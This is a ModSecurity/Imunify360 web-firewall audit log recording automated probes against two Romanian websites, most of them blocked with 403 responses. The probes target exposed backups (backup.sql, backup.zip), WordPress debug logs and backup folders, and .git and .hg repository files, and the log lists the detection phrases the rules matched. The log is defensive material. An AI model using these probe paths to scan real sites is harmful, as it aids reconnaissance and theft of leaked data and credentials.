Message: Warning. Matched phrase ".hg/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.hg/store/00manifest.i||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".hg/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.hg/store/00manifest.i||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.hg/store/00manifest.i"] [unique_id "aqZCBUwu1RSkptiiNIX0CgAAAJY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.hg/store/00manifest.i"] [unique_id "aqZCBUwu1RSkptiiNIX0CgAAAJY"]
Action: Intercepted (phase 2)
Stopwatch: 1789280773222154 57237 (- - -)
Stopwatch2: 1789280773222154 57237; combined=55959, p1=316, p2=55328, p3=0, p4=0, p5=315, sr=192, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--aadd9e7b-Z--

--7be43c75-A--
[13/Sep/2026:09:26:19.618899 +0300] aqZCC0wu1RSkptiiNIX0DQAAAJE 169.40.142.190 38948 127.0.0.1 7081
--7be43c75-B--
GET /wp-content/debug.log HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--7be43c75-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--7be43c75-H--
Message: Warning. Matched phrase "/wp-content/debug.log" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/debug.log||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/wp-content/debug.log" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/debug.log||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/debug.log"] [unique_id "aqZCC0wu1RSkptiiNIX0DQAAAJE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/debug.log"] [unique_id "aqZCC0wu1RSkptiiNIX0DQAAAJE"]
Action: Intercepted (phase 2)
Stopwatch: 1789280779548896 70057 (- - -)
Stopwatch2: 1789280779548896 70057; combined=76372, p1=343, p2=59142, p3=0, p4=0, p5=8594, sr=155, sw=0, l=0, gc=8293
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7be43c75-Z--

--372fcf35-A--
[13/Sep/2026:09:26:28.244400 +0300] aqZCFGM7dE9KgIIOpQhrbAAAANY 169.40.142.190 37938 127.0.0.1 7081
--372fcf35-B--
GET /backup.sql HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--372fcf35-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--372fcf35-H--
Message: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.sql||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.sql||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.sql"] [unique_id "aqZCFGM7dE9KgIIOpQhrbAAAANY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.sql"] [unique_id "aqZCFGM7dE9KgIIOpQhrbAAAANY"]
Action: Intercepted (phase 2)
Stopwatch: 1789280788186536 57906 (- - -)
Stopwatch2: 1789280788186536 57906; combined=56647, p1=258, p2=56030, p3=0, p4=0, p5=359, sr=112, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--372fcf35-Z--

--81ba8924-A--
[13/Sep/2026:09:26:28.651416 +0300] aqZCFDTJ6xTvcJoem7f4dwAAAEc 169.40.142.190 37942 127.0.0.1 7081
--81ba8924-B--
GET /backup.sql.gz HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--81ba8924-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--81ba8924-H--
Message: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.sql.gz||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.sql.gz||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.sql.gz"] [unique_id "aqZCFDTJ6xTvcJoem7f4dwAAAEc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.sql.gz"] [unique_id "aqZCFDTJ6xTvcJoem7f4dwAAAEc"]
Action: Intercepted (phase 2)
Stopwatch: 1789280788593432 58032 (- - -)
Stopwatch2: 1789280788593432 58032; combined=56932, p1=238, p2=56363, p3=0, p4=0, p5=330, sr=119, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--81ba8924-Z--

--7aed235e-A--
[13/Sep/2026:09:26:30.069321 +0300] aqZCFmM7dE9KgIIOpQhrbQAAANA 169.40.142.190 37956 127.0.0.1 7081
--7aed235e-B--
GET /backup.zip HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--7aed235e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--7aed235e-H--
Message: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.zip||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.zip||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.zip"] [unique_id "aqZCFmM7dE9KgIIOpQhrbQAAANA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.zip"] [unique_id "aqZCFmM7dE9KgIIOpQhrbQAAANA"]
Action: Intercepted (phase 2)
Stopwatch: 1789280790013520 55843 (- - -)
Stopwatch2: 1789280790013520 55843; combined=54619, p1=305, p2=54030, p3=0, p4=0, p5=283, sr=115, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7aed235e-Z--

--eb66b52d-A--
[13/Sep/2026:09:26:31.551770 +0300] aqZCF2M7dE9KgIIOpQhrbgAAAMw 169.40.142.190 37958 127.0.0.1 7081
--eb66b52d-B--
GET /backup.tar.gz HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--eb66b52d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--eb66b52d-H--
Message: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.tar.gz||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.tar.gz||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.tar.gz"] [unique_id "aqZCF2M7dE9KgIIOpQhrbgAAAMw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.tar.gz"] [unique_id "aqZCF2M7dE9KgIIOpQhrbgAAAMw"]
Action: Intercepted (phase 2)
Stopwatch: 1789280791494892 57036 (- - -)
Stopwatch2: 1789280791494892 57036; combined=55640, p1=241, p2=54861, p3=0, p4=0, p5=538, sr=106, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--eb66b52d-Z--

--588ec43f-A--
[13/Sep/2026:09:26:36.087978 +0300] aqZCHGM7dE9KgIIOpQhrcwAAANc 169.40.142.190 45946 127.0.0.1 7081
--588ec43f-B--
GET /wp-content/uploads/ HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--588ec43f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--588ec43f-E--

--588ec43f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_autoindex.c"] [line 2329] [level 3] AH01276: Cannot serve directory /var/www/vhosts/axapres.ro/httpdocs/wp-content/uploads/: No matching DirectoryIndex (index.php,index.html,index.xhtml,index.htm,index.shtml) found, and server-generated directory index forbidden by Options directive
Apache-Handler: httpd/unix-directory
Stopwatch: 1789280796082424 5620 (- - -)
Stopwatch2: 1789280796082424 5620; combined=4234, p1=240, p2=3558, p3=57, p4=7, p5=371, sr=91, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--588ec43f-Z--

--5ae3a040-A--
[13/Sep/2026:09:26:38.702561 +0300] aqZCHkwu1RSkptiiNIX0EQAAAIw 169.40.142.190 45948 127.0.0.1 7081
--5ae3a040-B--
GET /wp-content/backups/ HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--5ae3a040-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--5ae3a040-H--
Message: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/backups/||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/backups/||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/backups/"] [unique_id "aqZCHkwu1RSkptiiNIX0EQAAAIw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/backups/"] [unique_id "aqZCHkwu1RSkptiiNIX0EQAAAIw"]
Action: Intercepted (phase 2)
Stopwatch: 1789280798642452 60150 (- - -)
Stopwatch2: 1789280798642452 60150; combined=58104, p1=598, p2=57230, p3=0, p4=0, p5=276, sr=105, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5ae3a040-Z--

--dd1aef33-A--
[13/Sep/2026:09:26:43.875322 +0300] aqZCI0wu1RSkptiiNIX0FQAAAIo 169.40.142.190 45982 127.0.0.1 7081
--dd1aef33-B--
GET /wp-content/ai1wm-backups/ HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--dd1aef33-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--dd1aef33-H--
Message: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/ai1wm-backups/||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/ai1wm-backups/||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/ai1wm-backups/"] [unique_id "aqZCI0wu1RSkptiiNIX0FQAAAIo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/ai1wm-backups/"] [unique_id "aqZCI0wu1RSkptiiNIX0FQAAAIo"]
Action: Intercepted (phase 2)
Stopwatch: 1789280803821096 54279 (- - -)
Stopwatch2: 1789280803821096 54279; combined=53075, p1=239, p2=52548, p3=0, p4=0, p5=288, sr=105, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--dd1aef33-Z--

--f40d506d-A--
[13/Sep/2026:09:37:53.323214 +0300] aqZEwTTJ6xTvcJoem7f4mQAAAFI 216.81.200.63 44262 127.0.0.1 7081
--f40d506d-B--
GET /.git/config HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 216.81.200.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip

--f40d506d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f40d506d-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ebcon.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqZEwTTJ6xTvcJoem7f4mQAAAFI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqZEwTTJ6xTvcJoem7f4mQAAAFI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "ebcon.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqZEwTTJ6xTvcJoem7f4mQAAAFI"]
